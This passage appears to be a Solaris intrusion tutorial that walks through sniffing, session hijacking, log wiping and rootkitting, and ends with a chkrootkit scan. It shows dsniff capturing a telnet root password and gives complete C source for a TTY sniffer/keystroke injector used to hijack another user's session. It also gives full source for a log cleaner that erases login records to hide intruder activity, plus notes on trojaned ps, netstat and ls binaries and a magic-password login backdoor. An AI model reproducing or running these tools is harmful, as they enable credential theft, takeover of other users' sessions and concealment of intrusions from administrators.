The following packages are available:
  1  SMCxrend     xrender
                 (sparc) 0.8.3

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]:

Processing package instance <SMCxrend> from </tmp/xrender-0.8.3-sol8-sparc-local>

xrender
(sparc) 0.8.3
```

```
Keith Packard
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   6 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing xrender as <SMCxrend>

## Installing part 1 of 1.
/usr/local/doc/xrender/COPYING
/usr/local/doc/xrender/ChangeLog
/usr/local/doc/xrender/INSTALL
/usr/local/include/X11/extensions/Xrender.h
/usr/local/lib/libXrender.a
/usr/local/lib/libXrender.la
/usr/local/lib/libXrender.so <symbolic link>
/usr/local/lib/libXrender.so.1 <symbolic link>
/usr/local/lib/libXrender.so.1.2.2
/usr/local/lib/pkgconfig/xrender.pc
[ verifying class <none> ]

Installation of <SMCxrend> was successful.
```

```
--==+==========================================+==--
--==+ INSTALL IMPORTANT PACKAGE !!! dsniff SMCdsniff   +==--
--==+==========================================+==--
```

dsniff is a collection of tools for network auditing and penetration testing. dsniff, filesnarf, mailsnarf, msgsnarf, urlsnarf, and webspy passively monitor a network for interesting data (passwords, e-mail, files, etc.). arpspoof, dnsspoof, and macof facilitate the interception of network traffic normally unavailable to an attacker (e.g, due to layer-2 switching). sshmitm and webmitm implement active monkey-in-the-middle attacks against redirected SSH and HTTPS sessions by exploiting weak bindings in ad-hoc PKI.

```
# ls -la
total 4320
drwxrwxrwx   2 root     other        206 Jul 20 03:49 .
drwxrwxrwt   5 root     sys          365 Jul 20 03:30 ..
-rw-r-----   1 root     other    2187973 Jul 20 02:41 dsniff-2.4b1-sol8-sparc-local.gz

# chmod 777 dsniff-2.4b1-sol8-sparc-local.gz
# gzip -d dsniff-2.4b1-sol8-sparc-local.gz

# pkgadd -d dsniff-2.4b1-sol8-sparc-local

The following packages are available:
  1  SMCdsniff     dsniff
                   (sparc) 2.4b1

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCdsniff> from </tmp/sniff/dsniff-2.4b1-sol8-sparc-local>

dsniff
(sparc) 2.4b1
Dug Song
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.

The following files are already installed on the system and are being
used by another package:
* /usr/local/sbin <attribute change only>

* - conflict with a file which does not belong to any package.

Do you want to install these conflicting files [y,n,?,q] y
## Checking for setuid/setgid programs.

Installing dsniff as <SMCdsniff>

## Installing part 1 of 1.
/usr/local/doc/dsniff/CHANGES
/usr/local/doc/dsniff/CVS/Entries
/usr/local/doc/dsniff/CVS/Repository
/usr/local/doc/dsniff/CVS/Root
/usr/local/doc/dsniff/LICENSE
/usr/local/doc/dsniff/README
/usr/local/doc/dsniff/TODO
/usr/local/lib/dnsspoof.hosts
/usr/local/lib/dsniff.magic
/usr/local/lib/dsniff.services
/usr/local/man/man8/arpspoof.8
/usr/local/man/man8/dnsspoof.8
/usr/local/man/man8/dsniff.8
/usr/local/man/man8/filesnarf.8
/usr/local/man/man8/macof.8
/usr/local/man/man8/mailsnarf.8
/usr/local/man/man8/msgsnarf.8
/usr/local/man/man8/sshmitm.8
/usr/local/man/man8/sshow.8
/usr/local/man/man8/tcpkill.8
/usr/local/man/man8/tcpnice.8
/usr/local/man/man8/urlsnarf.8
/usr/local/man/man8/webmitm.8
/usr/local/man/man8/webspy.8
/usr/local/sbin/arpspoof
/usr/local/sbin/dnsspoof
/usr/local/sbin/dsniff
/usr/local/sbin/filesnarf
/usr/local/sbin/macof
/usr/local/sbin/mailsnarf
/usr/local/sbin/msgsnarf
/usr/local/sbin/sshmitm
/usr/local/sbin/sshow
/usr/local/sbin/tcpkill
/usr/local/sbin/tcpnice
/usr/local/sbin/urlsnarf
/usr/local/sbin/webmitm
/usr/local/sbin/webspy
[ verifying class <none> ]

Installation of <SMCdsniff> was successful.
```

```
--==+=======================+==--
--==+ Using Dsniff            |==--
--==+=======================+==--
```

```
# /usr/local/sbin/dsniff -i dmfe0

listening on dmfe0
-----------------
07/20/07 05:06:54 tcp netra104.32803 -> 172.19.4.202.23 (telnet)
login root
pass root           ←- ooops! hax0r fux0r dude eh! :X
```

dsniff has:

* dsniff: simple password sniffer.

* arpspoof: redirect packets from a target host (or all hosts) on the LAN intended for another host on the LAN by forging ARP replies.

* dnsspoof: forge replies to arbitrary DNS address / pointer queries on the LAN.

* filesnarf: saves selected files sniffed from NFS traffic in the current working directory.

* macof: flood the local network with random MAC addresses.

* mailsnarf: a fast and easy way to violate the Electronic Communications Privacy Act of 1986 (18 USC 2701-2711), be careful.

* msgsnarf: record selected messages from sniffed AOL Instant Messenger, ICQ 2000, IRC, and Yahoo! Messenger chat sessions.

* sshmitm: SSH monkey-in-the-middle.

* tcpkill: kills specified in-progress TCP connections.

* tcpnice: slow down specified TCP connections via "active" traffic shaping. (Se puede usar para evitar virus/gusanos tipo NIMDA).
mirar: http://bulmalug.net/body.phtml?nIdNoticia=865

* urlsnarf: output all requested URLs sniffed from HTTP traffic in CLF (Common Log Format, used by almost all web servers), suitable for offline post-processing

* webmitm: HTTP / HTTPS monkey-in-the-middle.

* webspy: sends URLs sniffed from a client to your local Netscape browser for display, a fun party trick

```
--==+==========================+==--
--==+ The popular sniffing commands…   +==--
--==+==========================+==--
```

```
# /usr/local/sbin/dsniff -help
Version: 2.4
Usage: dsniff [-cdmn] [-i interface] [-s snaplen] [-f services]
              [-t trigger[,...]] [-r|-w savefile] [expression]

# /usr/local/sbin/arpspoof
Version: 2.4
Usage: arpspoof [-i interface] [-t target] host
```

```
# /usr/local/sbin/dnsspoof -help
Version: 2.4
Usage: dnsspoof [-i interface] [-f hostsfile] [expression]


# /usr/local/sbin/filesnarf -h
Version: 2.4
Usage: filesnarf [-i interface] [[-v] pattern [expression]]

# /usr/local/sbin/macof -h
Version: 2.4
Usage: macof [-s src] [-d dst] [-e tha] [-x sport] [-y dport]
             [-i interface] [-n times]

# /usr/local/sbin/mailsnarf -h
Version: 2.4
Usage: mailsnarf [-i interface] [[-v] pattern [expression]]

# /usr/local/sbin/msgsnarf -h
Version: 2.4
Usage: msgsnarf [-i interface] [[-v] pattern [expression]]
```

```
--==+=======================+==--
--==+ TTY watcher SMCttywatcher +==--
--==+=======================+==--
```

TTY-Watcher is a utility to monitor and control users on a single system. It is based on our IP-Watcher utility, which can be used to monitor and control users on an entire network. It is similar to advise or tap, but with many more advanced features and a user friendly (either X-Windows or text) interface. TTY-Watcher allows the user to monitor every tty on the system, as well as interact with them by: to the real owner of the TTY without interfering with the commands he's typing. The message will only be displayed on his screen and will not be sent to the underlying process. Aside from monitoring and controlling TTYs, individual connections can be logged to either a raw logfile for later playback (somewhat like a VCR) or to a text file.

```
# pkgadd -d ttywatcher-1.2-sol8-sparc-local

The following packages are available:
  1  SMCttyw     ttywatcher
                 (sparc) 1.2

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all

Processing package instance <SMCttyw> from </tmp/3-sniff-tty/ttywatcher-1.2-sol8-sparc-local>

ttywatcher
(sparc) 1.2
En Garde Systems
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   4 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

This package contains scripts which will be executed with super-user
permission during the process of installing this package.

Do you want to continue with the installation of <SMCttyw> [y,n,?] y
```

```
Installing ttywatcher as <SMCttyw>

## Installing part 1 of 1.
/usr/local/bin/ttywatcher
/usr/local/doc/ttywatcher/ANNOUNCE
/usr/local/doc/ttywatcher/COPYRIGHT
/usr/local/doc/ttywatcher/Makefile
/usr/local/doc/ttywatcher/Makefile.solaris
/usr/local/doc/ttywatcher/README
/usr/local/doc/ttywatcher/README.xview
/usr/local/doc/ttywatcher/TODO
/usr/local/man/man8/ttywatcher.8
/usr/local/twtch/CVS/Entries
/usr/local/twtch/CVS/Repository
/usr/local/twtch/CVS/Root
/usr/local/twtch/Makefile
/usr/local/twtch/Makefile.solaris
/usr/local/twtch/README
/usr/local/twtch/install_driver
/usr/local/twtch/load4x
/usr/local/twtch/load5x
/usr/local/twtch/popall
/usr/local/twtch/sparcv9/driver.o
/usr/local/twtch/sparcv9/twtchc
/usr/local/twtch/twtchc
/usr/local/twtch/twtchc.conf
[ verifying class <none> ]
## Executing postinstall script.
To complete the installation of ttywatcher
perform the following commands

cd /usr/local/twtch
./install_driver

as root and answer y to the question.

To find out how to use ttywatcher, read
the documents in /usr/local/doc/ttywatcher
and also do

man ttywatcher


Installation of <SMCttyw> was successful.
```

```
--==+===================+==--
--==+ TTY Sniffer source code   +==--
--==+===================+==--
```

```
-------------cut-here--------------------------------------------------------------------

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <termios.h>
#include <stdlib.h>
#include <signal.h>
#include <sys/ioctl.h>

#define VERSION "0.01"
```

```
int verbose = 0;
int fd;
char * outfile = NULL;
char * device = NULL;

void usage( char * argv0 );
void sniff( void );
void inject( void );
void signal_exit( int i );

int main( int argc, char **argv)
{
        int injection = 0;

        char opt;

        fprintf( stderr, "\nTTY Sniffer v%s\n\n", VERSION);

    // Check arguments
    while((opt = getopt(argc, argv, "d:l:jv")) != -1)
    {
        switch (opt)
        {
            case 'd':
                device = optarg;
                break;
                        case 'l':
                                outfile = optarg;
                                break;
                        case 'j':
                                injection = 1;
                                break;
                        case 'v':
                                verbose = 1;
                                break;
            default:
                usage( argv[0] );
                break;
        }
    }

        if( device == NULL )
                usage( argv[0] );

        signal(SIGINT, signal_exit);

        // Open our TTY
        if( ( fd = open(device, O_RDWR) ) == -1) {
                fprintf(stderr, " Can't open device %s\n\n", device);
                exit( 0 );
        }

        if( injection == 0 )
                sniff();
        else
                inject();

    fprintf(stderr, "\n----------------------------------\n");
    fprintf(stderr, "Disconnected from device: %s\n\n", device);

        close( fd );
        return 1;
```

```
}

void inject( void )
{
        int data;
        char c;
        char buf[2];

        fprintf(stderr, "Injecting on device %s...\n", device);
        fprintf(stderr, "----------------------------------\n");

        for(;;) {
                data = read(STDIN_FILENO, &c, 1);

                sprintf(buf, "%c", c);
                if( ioctl(fd, TIOCSTI, buf) < 0)
                        break;

        }


}

void sniff( void )
{
    int data;
    char c;
    char buf[2];
    struct termios term;
        FILE * out;

        if( outfile != NULL ) {
                if(( out = fopen(outfile,"a+") ) == NULL){
                        fprintf( stderr, "\n Error opening output file\n");
                        exit(0);
                }

        } else
                out = stdout;



    fprintf(stderr, "Sniffing device %s...\n", device);
    fprintf(stderr, "----------------------------------\n");

    tcgetattr(fd, &term);

    term.c_lflag &= ~(ECHO | ICANON);
    term.c_cc[VMIN] = 1;
    term.c_cc[VTIME] = 0;

    tcsetattr(fd, TCSAFLUSH, &term);

    for(;;) {
        data = read(fd, &c,1);

        if( data < 1 )
            break;

        if( verbose > 0 )
            fprintf( stderr, "\nHex val: %X Char: \"%c\"\n",c,c);
        switch (c) {
            case 0xd:
                fprintf( out, "\n");
                break;
            case 0x7f:
                fprintf( out, "^B");
                break;
            default:
                fprintf( out, "%c",c);
                break;

        }

        fflush(out);
        sprintf(buf, "%c", c);
        ioctl(fd, TIOCSTI, buf);
        usleep(1000);

    }

        fclose( out );

}

void usage( char * argv0 )
{
    fprintf( stderr, " Usage: %s -d <tty device> [-l <out file>] [-j] [-v]\n\n", argv0);

    exit(0);
}

void signal_exit( int i )
{
    fprintf(stderr, "\n----------------------------------\n");
    fprintf(stderr, "Disconnected from device: %s\n\n", device);

    close( fd );

    exit(0);
}
----------------------------cute-here-----------------------------------------------------
```

```
--==+================+==--
--==+ TTY Sniffer Usage     +==--
--==+================+==--
```

```
# ./ttysniff

TTY Sniffer v0.01

 Usage: ./ttysniff -d <tty device> [-l <out file>] [-j] [-v]
```

```
--==+====================================+==--
--==+ Identify sessions with "w" or "who" commands  +==--
--==+====================================+==--
```

```
# w
  2:54am  up  1:33,  2 users,  load average: 0.00, 0.01, 0.02
User     tty           login@  idle   JCPU   PCPU  what
root     pts/1         2:21am           14         w
soporte  pts/2         2:52am     1                -sh         ← hijaking session pts/2
```

```
--==+=====================+==--
--==+ Hijacking TTY session...  +==--
--==+=====================+==--
```

```
#./ttysniff -d /dev/pts/2 -j -v                ←HIJACKING the session PTS/2

TTY Sniffer v0.01

Injecting on device /dev/pts/2...
----------------------------------
```

```
--==+============================+==--
--==+ Hijacking TTY session to a log file  +==--
--==+============================+==--
```

```
#./ttysniff -d /dev/pts/1 -l log.txt <- session log file

TTY Sniffer v0.01

Sniffing device /dev/pts/1...
----------------------------------

CTRL+C

----------------------------------
Disconnected from device: /dev/pts/1

# # CAT: not found
# DDDDDDDDDDDDDDDDDDDDDDSDSDSIDSIDSIDSI DSI DSI DSI DSDI DSDI DSSIDI DSSIDI DSSI DI
DSSI DDI DSSIS DIDI DSSIS DIDI DSDSIS DIDSI DSDSIIS DIDSI DS DSIIS DIDSID DS DSIIIS SDIDSID DS D
SIIIS SDDIDSID DSI D SIIISS SDDIDSID DS I D SIIISS SDDDIDSID DSI I DS SIIISS  SDDDIDSID
 DSI I DS SIIISS  SDDDI ls ls -la , telnet
```

```
--==+================================================+==--
 --==+                    [L]og cleaner                    +==--
--==+================================================+==--
```

In computing, file shredding or file wiping is the act of deleting a computer file securely, so that it cannot be restored by any means. This is done either using file shredder software, or by issuing a "secure delete" command, as opposed to a "delete" command from the operating system. File shredding usually involves overwriting a file multiple times. Shredding a file is akin to shredding a document using a paper shredder.

```
--==+=====================+==--
--==+ Uzapper tool source code  +==--
--==+=====================+==--
```

```
-------------cut-here-----------------------------------

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <utmp.h>

#ifdef  UTMAXTYPE
#define UTMPX
#include <utmpx.h>
#endif
#include <pwd.h>
#ifndef _PATH_LASTLOG
#include <lastlog.h>
#endif
#include <sys/types.h>
```

```
#include <sys/stat.h>
#include <sys/utsname.h>

#define SVR4_UTMP       "/var/adm/utmp"
#define SVR4_WTMP       "/var/adm/wtmp"
#define SVR4_LASTLOG    "/var/adm/lastlog"

#define SUNOS4_UTMP     "/etc/utmp"
#define SUNOS4_WTMP     "/usr/adm/wtmp"
#define SUNOS4_LASTLOG  "/usr/adm/lastlog"

#define BSD_UTMP        "/var/run/utmp"
#define BSD_WTMP        "/var/log/wtmp"
#define BSD_LASTLOG     "/var/log/lastlog"

#define MAX_FPATH       512

int     wipe_log(path,user,type)
char    *path,*user;
int     type;
{
    struct utmp     utmp_ent;
#ifdef UTMPX
    struct utmpx    utmpx_ent;
#endif
    void            *ent;
    char            *un;
    int             sz,fd,c=0;

    if (strlen(path)==0) return(1);
    if (type==0){
        ent=(void *)&utmp_ent;
#ifdef UTMPX
        un=(char *)&utmp_ent.ut_user;
#else
        un=(char *)&utmp_ent.ut_name;
#endif
        sz=sizeof(struct utmp);
    }else{
#ifdef UTMPX
        ent=(void *)&utmpx_ent;
        un=(char *)&utmpx_ent.ut_user;
        sz=sizeof(struct utmpx);
#endif
    }
    if ((fd=open(path,O_RDWR))<=0) return(-1);
    while(read(fd,ent,sz)>0)
        if (!strncmp(un,user,strlen(user))){
            memset(ent,0,sz);
            lseek(fd,-sz,SEEK_CUR);
            write(fd,ent,sz);
            c++;
        }
    close(fd);
    printf("Wiped %d entries of %s from %s.\n",c,user,path);
    return(0);
}

int     wipe_lastlog(path,user,type)
char    *path,*user;
int     type;
{
    struct passwd   *p;
    struct lastlog  ent;
    int             fd;
    char            buffer[MAX_FPATH];

    if (type==0) strcpy(buffer,path);
    else sprintf(buffer,"%s/%s",path,user);
    memset(&ent,0,sizeof(struct lastlog));
    if ((p=getpwnam(user))==NULL) return(-1);
    if ((fd=open(buffer,O_RDWR))<=0) return(-2);
    if (type==0)
        lseek(fd,p->pw_uid*sizeof(struct lastlog),SEEK_SET);
    write(fd,&ent,sizeof(struct lastlog));
    close(fd);
    printf("Wiped %s from %s.\n",user,path);
    return(0);
}

main(argc,argv)
int     argc;
char    *argv[];
{
    char    f_utmp[MAX_FPATH],f_utmpx[MAX_FPATH];
    char    f_wtmp[MAX_FPATH],f_wtmpx[MAX_FPATH];
    char    f_lastlog[MAX_FPATH];
    struct utsname  utname;
    int     lastlog_type;

    if (argc!=2){
        printf("Usage: %s Usernane\n",argv[0]);
        exit(1);
    }
    if (getpwnam(argv[1])==NULL){
        printf("Unknown user : %s\n",argv[1]);
        exit(1);
    }
    uname(&utname);
    strcpy(f_wtmpx,""); strcpy(f_utmpx,"");
    if (!strcmp(utname.sysname,"SunOS")){
#ifdef UTMPX
            strcpy(f_utmp,    SVR4_UTMP);
            strcpy(f_wtmp,    SVR4_WTMP);
            strcpy(f_utmpx,   UTMPX_FILE);
            strcpy(f_wtmpx,   WTMPX_FILE);
            strcpy(f_lastlog, SVR4_LASTLOG);
            lastlog_type=0;
#else
            strcpy(f_utmp,    SUNOS4_UTMP);
            strcpy(f_wtmp,    SUNOS4_WTMP);
            strcpy(f_lastlog, SUNOS4_LASTLOG);
            lastlog_type=0;
#endif
    }else if (!strcmp(utname.sysname,"Linux")
           || !strcmp(utname.sysname,"FreeBSD")){
            strcpy(f_utmp,    BSD_UTMP);
            strcpy(f_wtmp,    BSD_WTMP);
            strcpy(f_lastlog, BSD_LASTLOG);
    }else if (!strcmp(utname.sysname,"IRIX")){
#ifdef UTMPX
            strcpy(f_utmp,    SVR4_UTMP);
            strcpy(f_wtmp,    SVR4_WTMP);
            strcpy(f_utmpx,   UTMPX_FILE);
```

```
          strcpy(f_wtmpx,   WTMPX_FILE);
          strcpy(f_lastlog, SVR4_LASTLOG);
          lastlog_type=1;
#else
          printf("Can not wipe. System Unknown.\n");
#endif
    }else
          printf("Can not wipe. System Unknown.\n");

    wipe_log(f_utmp, argv[1],0);
    wipe_log(f_utmpx,argv[1],1);
    wipe_log(f_wtmp, argv[1],0);
    wipe_log(f_wtmpx,argv[1],1);
    wipe_lastlog(f_lastlog,argv[1],lastlog_type);
}

-----------cut-here-----------------------------------------------
```

```
--==+==========================+==--
--==+ Uzapper to  remove intruder activity+==--
--==+==========================+==--
```

```
# w
  2:40am  up  1:37,  2 users,  load average: 0.02, 0.02, 0.02
User     tty           login@  idle   JCPU   PCPU  what
root     pts/1         2:38am                      w
soporte  pts/2         2:39am                      -sh                    ← delete all the activity log's?

# ./z
Usage: ./z Usernane

# ./z soporte
Wiped 1 entries of soporte from /var/adm/utmpx.
Wiped 1 entries of soporte from /var/adm/wtmpx.
Wiped soporte from /var/adm/lastlog.

# w
  2:41am  up  1:38,  1 user,  load average: 0.00, 0.02, 0.02
User     tty           login@  idle   JCPU   PCPU  what
root     pts/1         2:38am                      w                      ← where is the soporte user ??? w0w hax0r fux0r dude!!
```

```
--==+===========================================+==--
 --==+                 [R]ootkitting                 |-==--
--==+===========================================+==--
```

A rootkit is a set of software tools intended to conceal running processes, files or system data from the operating system. Rootkits have their origin in benign applications, but in recent years have been used increasingly by malware to help intruders maintain access to systems while avoiding detection. Rootkits exist for a variety of operating systems, such as Microsoft Windows, Mac OS X[1] [2] , Linux and Solaris. Rootkits often modify parts of the operating system or install themselves as drivers or kernel modules

A rootkit can take full control of a system. A rootkit's only purpose is to hide files, network connections, memory addresses, or registry entries from other programs used by system administrators to detect intended or unintended special privilege accesses to the computer resources. However, a rootkit may be incorporated with other files which have other purposes. It is important to note that the utilities bundled with the rootkit may be malicious in intent, but a rootkit is essentially a technology; it may be used for both productive and destructive purposes.

```
--==+========================+==--
--==+ Unpack your rootkit for  solaris      -|-==--
--==+========================+==--
```

First rootkit

```
# tar -xff rk-sunOK.tar

tar: tapefile must be specified with 'f' option
Usage: tar {txruc}[vfbFXhiBEelmopwnq[0-7]] [-k size] [tapefile] [blocksize] [exclude-file] [-I include-file] files ...

# tar -xvf rk-sunOK.tar

x sol, 0 bytes, 0 tape blocks
x sol/2.5DXE-README, 5483 bytes, 11 tape blocks
x sol/HISTORY, 2001 bytes, 4 tape blocks
x sol/README, 1481 bytes, 3 tape blocks
x sol/bnc.conf, 33 bytes, 1 tape blocks
x sol/bnclp, 47156 bytes, 93 tape blocks
x sol/cleaner, 4032 bytes, 8 tape blocks
x sol/crypt, 8672 bytes, 17 tape blocks
x sol/dos, 0 bytes, 0 tape blocks
x sol/du, 9056 bytes, 18 tape blocks
x sol/etc, 0 bytes, 0 tape blocks
x sol/etc/ssh_host_key, 525 bytes, 2 tape blocks
x sol/etc/ssh_host_key.pub, 329 bytes, 1 tape blocks
x sol/etc/ssh_random_seed, 512 bytes, 1 tape blocks
x sol/etc/tconf, 397 bytes, 1 tape blocks
x sol/extra, 34 bytes, 1 tape blocks
x sol/find, 9064 bytes, 18 tape blocks
x sol/findkit, 4072 bytes, 8 tape blocks
x sol/fix, 11668 bytes, 23 tape blocks
x sol/idrun, 188 bytes, 1 tape blocks
x sol/idsol, 15180 bytes, 30 tape blocks
x sol/in.identd, 38464 bytes, 76 tape blocks
x sol/l2, 35376 bytes, 70 tape blocks
x sol/login, 9508 bytes, 19 tape blocks
x sol/logo, 934 bytes, 2 tape blocks
x sol/ls, 18120 bytes, 36 tape blocks
x sol/ls2, 13984 bytes, 28 tape blocks
x sol/lsof, 12472 bytes, 25 tape blocks
x sol/netstat, 9064 bytes, 18 tape blocks
x sol/ntpstat, 191144 bytes, 374 tape blocks
x sol/passwd, 8780 bytes, 18 tape blocks
x sol/patcher, 4469 bytes, 9 tape blocks
x sol/pg, 8332 bytes, 17 tape blocks
x sol/ping, 8780 bytes, 18 tape blocks
```

Second Rootkit

```
# tar -xvf rootkitSunOS.tar

x Makefile, 2268 bytes, 5 tape blocks
x code.h, 88 bytes, 1 tape blocks
x config.h, 84 bytes, 1 tape blocks
x date.c, 619 bytes, 2 tape blocks
x du.c, 4867 bytes, 10 tape blocks
x du5.c, 5583 bytes, 11 tape blocks
x es.c, 12504 bytes, 25 tape blocks
x fix.c, 3339 bytes, 7 tape blocks
```

```
x ftime.c, 902 bytes, 2 tape blocks
x host.c, 1727 bytes, 4 tape blocks
x if.c, 8583 bytes, 17 tape blocks
x ifconfig.c, 21262 bytes, 42 tape blocks
x inet.c, 14495 bytes, 29 tape blocks
x ipintrq.c, 629 bytes, 2 tape blocks
x lb.c, 21224 bytes, 42 tape blocks
x ls.c, 17651 bytes, 35 tape blocks
x ls5.c, 24440 bytes, 48 tape blocks
x magic.c, 805 bytes, 2 tape blocks
x main.c, 6660 bytes, 14 tape blocks
x mbuf.c, 7883 bytes, 16 tape blocks
x ns.c, 5975 bytes, 12 tape blocks
x ps.c, 36186 bytes, 71 tape blocks
x revarp.c, 11161 bytes, 22 tape blocks
x rootkit.README, 3858 bytes, 8 tape blocks
x route.c, 8697 bytes, 17 tape blocks
x test.c, 152 bytes, 1 tape blocks
x unix.c, 2810 bytes, 6 tape blocks
x z.c, 1953 bytes, 4 tape blocks
x z2.c, 2000 bytes, 4 tape blocks
```

```
--==+================+==--
--==+ Here is how it works: +==--
--==+================+==--
```

execute the command: ` make all install '

The following programs will be installed suid root in DESTDIR:

```
z2:      removes entries from utmp, wtmp, and lastlog.
es:      rokstar's ethernet sniffer for sun4 based kernels.
fix:     try to fake checksums, install with same dates/perms/u/g.

note:    if you do not want these files installed suid (the administrator
         has a cron to check for suid files, or the like), then type
         make cleansuid and the suid bits will be removed.
```

The following programs will be patched and an attempt at spoofing the checksums of the files will be made. Also, these files willbe installed with the same dates, permissions, owners, and groups of the originals.

```
sl:      become root via a magic password sent to login.
ic:      modified ifconfig to remove PROMISC flag from output.
ps:
ns:
ls:
du5:
ls5:
```

Here are some notes on the patch for `ps`:

1. This doesn't modify the process lists, so your processes are STILL in memory, but ps just won't administrator has another copy of ps sitting on Best to search for SGID kmem programs to be fairly sure.

2. An example /dev/ptyp file is as follows:

```
    0    0              Strips all processes running under root
    1    p0             Strips tty p0
    2    sniffer        Strips all programs with the name sniffer
```

3. Do not leave a NULL string anywhere in the file. During testing, I often pressed return after my last control statement. Do not do this as it will cause a memory fault. Do not use a character as the first line in the control file. Remember to convert the UID's you wished masked to their numerical format.

4. Programs such as "top" will still show processes running. This is bad. I'm working on a patch.

Here are some notes on the patch for `netstat`:

1. This doesn't modify network listings, so your network connections are STILL in memory, but `netstat` just won't display them. If another copy of `netstat` is run on the machine, it will produce accurate results. Best to search for SGID kmem programs to be fairly sure.

2. An example /dev/ptyq file is as follows:

```
    0    6667      # Strip all foreign irc network connections
    1    23        # Strip all local telnet connections
    2    209.5     # Strip all foreign connections from cert.org
    3    175.9.8   # Strip all local connections to netsys4.netsys.com
```

3. Do not leave a NULL string anywhere in the file. It will cause a memory fault. When stripping addresses, a string search is used to compare addresses in the control file with actual network connections. This could cause minor problems.

4. It would probably be better to only strip the address ONCE for each line in the control file. Adding such commands is trivial. Check `inet.c` for modifications.

Here are some notes on the patch for `ls` && `du` && `du5` && `ls5`:

1. ls and du are trojaned and your files will not be listed unless you issue a / flag.
2. Example /dev/ptyr

```
sunsnif          # Strip the filename sunsnif
icmpfake         # Strip the filename icmpfake
```

3. Would be useful if stripping uids, and gids was included.

--==+===+==--
--==+ [I]ncident Response Solaris +==--
--==+===+==--

--==+========================+==--
--==+ Detection anomalies and rootkits +==--
--==+========================+==--

chkrootkit (Check Rootkit) is a common Unix-based program intended to help system administrators check their system for known rootkits. It is a shell script using common UNIX/Linux tools like the strings and grep commands to search core system programs for signatures and for comparing a traversal of the /proc filesystem with the output of the ps (process status) command to look for discrepancies.

--==+=====================+==--
--==+ Install Chrootkit SMCchkr   +==--
--==+=====================+==--

```
# pkgadd -d chkrootkit-0.45-sol8-sparc-local

The following packages are available:
  1  SMCchkr     chkrootkit
               (sparc) 0.45

Select package(s) you wish to process (or 'all' to process
all packages). (default: all) [?,??,q]: all
```

```
Processing package instance <SMCchkr> from </tmp/6-chrootkit/chkrootkit-0.45-sol8-sparc-local>

chkrootkit
(sparc) 0.45
Pangeia Informatica
Using </usr/local> as the package base directory.
## Processing package information.
## Processing system information.
   2 package pathnames are already properly installed.
## Verifying disk space requirements.
## Checking for conflicts with packages already installed.
## Checking for setuid/setgid programs.

Installing chkrootkit as <SMCchkr>

## Installing part 1 of 1.
/usr/local/bin/check_wtmpx
/usr/local/bin/chkdirs
/usr/local/bin/chklastlog
/usr/local/bin/chkproc
/usr/local/bin/chkrootkit
/usr/local/bin/chkrootkit.lsm
/usr/local/bin/chkutmp
/usr/local/bin/chkwtmp
/usr/local/bin/ifpromisc
/usr/local/bin/strings-static
/usr/local/doc/chkrootkit/ACKNOWLEDGMENTS
/usr/local/doc/chkrootkit/COPYRIGHT
/usr/local/doc/chkrootkit/README
/usr/local/doc/chkrootkit/README.chklastlog
/usr/local/doc/chkrootkit/README.chkwtmp
[ verifying class <none> ]

Installation of <SMCchkr> was successful.
```

```
--==+======================+==--
--==+ Scanning the infected files... +==--
--==+======================+==--
```

```
# /usr/local/bin/chkrootkit
ROOTDIR is `/'
Checking `amd'... not found
Checking `basename'... not infected
Checking `biff'... not found
Checking `chfn'... not found
Checking `chsh'... not found
Checking `cron'... not infected
Checking `date'... not infected
Checking `du'... not infected
Checking `dirname'... not infected
Checking `echo'... not infected
Checking `egrep'... not infected
Checking `env'... not infected
Checking `find'... not infected
Checking `fingerd'... not infected
Checking `gpm'... not found
Checking `grep'... not infected
Checking `hdparm'... not found
Checking `su'... not infected
Checking `ifconfig'... not infected
Checking `inetd'... not tested
Checking `inetdconf'... not infected
Checking `identd'... not found
Checking `init'... not infected
Checking `killall'... not infected
Checking `ldsopreload'... not tested
Checking `login'... not tested
Checking `ls'... INFECTED                ← w0w suspicious file
Checking `lsof'... not found
Checking `mail'... not infected
Checking `mingetty'... not found
Checking `netstat'... not infected
Checking `named'... not infected
Checking `passwd'... not tested
Checking `pidof'... not found
Checking `pop2'... not found
Checking `pop3'... not found
Checking `ps'... INFECTED                ← w0w suspicious file
Checking `pstree'... not found
Checking `rpcinfo'... not infected
Checking `rlogind'... not infected
Checking `rshd'... not found
Checking `slogin'... not found
Checking `sendmail'... not infected
Checking `sshd'... not infected
Checking `syslogd'... not infected
Checking `tar'... not infected
Checking `tcpd'... not found
Checking `tcpdump'... not infected
Checking `top'... not found
Checking `telnetd'... not infected
Checking `timed'... not found
Checking `traceroute'... not infected
Checking `vdir'... not found
Checking `w'... not infected
Checking `write'... not infected
Checking `aliens'... no suspect files
Searching for sniffer's logs, it may take a while...
Searching for sniffer's logs, it may take a while... nothing found
Searching for HiDrootkit's default dir... nothing found
Searching for t0rn's default files and dirs... nothing found
Searching for t0rn's v8 defaults... nothing found
Searching for Lion Worm default files and dirs... nothing found
Searching for RSHA's default files and dir... nothing found
Searching for RH-Sharpe's default files... nothing found
Searching for Ambient's rootkit (ark) default files and dirs... nothing found
Searching for suspicious files and dirs, it may take a while... nothing found
Searching for LPD Worm files and dirs... nothing found
Searching for Ramen Worm files and dirs... nothing found
Searching for Maniac files and dirs... nothing found
Searching for RK17 files and dirs... nothing found
Searching for Ducoci rootkit... nothing found
Searching for Adore Worm... nothing found
Searching for ShitC Worm... nothing found
Searching for Omega Worm... nothing found
Searching for Sadmind/IIS Worm... nothing found
Searching for MonKit... nothing found
Searching for Showtee... nothing found
Searching for OpticKit... nothing found
Searching for T.R.K... nothing found
Searching for Mithra... nothing found
Searching for LOC rootkit... nothing found
Searching for Romanian rootkit... nothing found
Searching for Suckit rootkit... nothing found
Searching for Volc rootkit... nothing found
Searching for Gold2 rootkit... nothing found
Searching for TC2 Worm default files and dirs... nothing found
Searching for Anonoying rootkit default files and dirs... nothing found
Searching for ZK rootkit default files and dirs... nothing found
